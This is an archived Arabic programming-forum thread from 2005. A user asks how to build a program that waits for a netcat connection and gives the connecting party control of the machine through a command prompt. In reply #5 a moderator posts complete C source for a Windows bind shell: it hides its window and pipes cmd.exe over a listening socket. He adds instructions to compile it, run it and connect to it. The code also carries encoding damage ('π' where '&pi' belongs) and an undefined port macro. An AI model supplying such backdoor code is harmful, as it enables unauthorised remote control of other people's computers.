الفريق العربي للبرمجةأرشيف المنتديات · 2000 – 2023
نسخة أرشيفية للقراءة فقط — التسجيل والمشاركة مغلقان، والمحتوى محفوظ كما كان.

كيف لى ان اصمم سيرفر للاداة netcat

مغلق
بدأه justnow في 29 أكتوبر 2005 · 5 رد · 869 مشاهدة · في لغة Assembly لأنظمة 16, 32, 64 بت
مشاركة: واتساب X فيسبوك تيليجرام
#1 صاحب الموضوع

السلام عليكم, تعتقد ان السؤال واضح,

اريد ان اصمم برنامج, الغرض منه ان يبقى مستمع الى ان ياتى اتصال من ال netcat و تستطيع ال netcat السيطرة على الجهاز و فتح محث ال dos

#2

ما تريد القيام به مثل برامج التروجان

يقوم بفتح منفذ و إنتظار الأوامر

d4baa0.gif
#3
/index.php?showtopic=76633 راجع الموضوع فيه مثال عن client / server

Do as I say, not as I do

We are Anonymous. We are Legion. We don't forgive. We don't forget

#4

يا اخي انت كتبت الحل بايدك النت كات يعتبر افضل مستمع

#5

لا يا اخوان

الطريقة بسيطة جداً لأنها اصلا غير منطقية !!!!!!!!!!!!!!!!!!!!!!!!

شوفو الحل:

ترجم هذا الكود

int main(void) { //Bind Shell. POrt 65535 


SOCKET s,s2; 
STARTUPINFO si; 
PROCESS_INFORMATION pi; 
WSADATA HWSAdata; 
struct sockaddr_in sa; 
int len; 


if (WSAStartup(MAKEWORD(2,2), &HWSAdata) != 0) { exit(1); } 
if ((s=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,0,0,0))==INVALID_SOCKET){ 
exit(1); } 


sa.sin_family = AF_INET; 
sa.sin_port = (USHORT)htons(HAXORCITOS); 
sa.sin_addr.s_addr = htonl(INADDR_ANY); 
len=sizeof(sa); 
if ( bind(s, (struct sockaddr *) &sa, sizeof(sa)) == SOCKET_ERROR ) { 
return(-1); } 
if ( listen(s, 1) == SOCKET_ERROR ) { return(-1); } 
s2 = accept(s,(struct sockaddr *)&sa,&len); 
closesocket(s); 


ZeroMemory( &si, sizeof(si) ); ZeroMemory( π, sizeof(pi) ); 
si.cb = sizeof(si); 
si.wShowWindow = SW_HIDE; 
si.dwFlags =STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES; 
si.hStdInput = (void *) s2; // SOCKET 
si.hStdOutput = (void *) s2; 
si.hStdError = (void *) s2; 
if (!CreateProcess( NULL ,"cmd.exe",NULL, NULL,TRUE, 0,NULL,NULL,&si,π)) { 
return(-1); 
} 


//WaitForSingleObject( pi.hProcess, INFINITE ); 
closesocket(s); 
closesocket(s2); 
Sleep(5000); 
return(1); 
}

هذا الكود البسيط هو ما يعرف بال Bind port

وهو المستخدم في جميع الثغرات

شغل البرنامج وأتصل على البورت 65535

ستلاحظ ان برنامج اول ما يستقبل اي امر على طول يقوم بتشغيل الدوس cmd.exe

ويمرر له الامر ؟؟

وبهذا يربط محث الأوامر عن بعد وهذا ما تقوم به اداة nc.exe

http://www.jaascois.com

*************************************************

مجموعة مواضيع - إحتراف البرمجة -

ّ~~~~~~~~~~~~~~~~~~~~~~

البرمجة المتقدمة & الهندسة العكسية & برمجة وأمن الأنظمة

/index.php?showtopic=45002

آخر المواضيع :

+- تحليل جرائم الكمبيوتر -+

أنظمة اليونكس(Solaris,HP, AIX,SCO)وانواع المعالجات

ثغرة SMS لأجهزة الجوال Siemens 3568i !

أخطاء وثغرات البرامج العربية !!!

سلسلة مواضيع - أمن وحماية مواقع الويب -

E البرمجة المتقدمة X للملفات التنفيذية E

سلسلة مواضيع ثغرات الأنظمة وإختراق الأجهزة

**************************************************

<span style='font-size:14pt;line-height:100%'>الإرادة تحـــقق السيـــادة</span>

**************************************************

#6

السلام عليكم و رحمة الله

اولا اود ان اشكرك المشرف JAAS لان هذا بالضبط هو ما اريد ان اعرفه

هذا الموضوع مغلق.

مواضيع مشابهة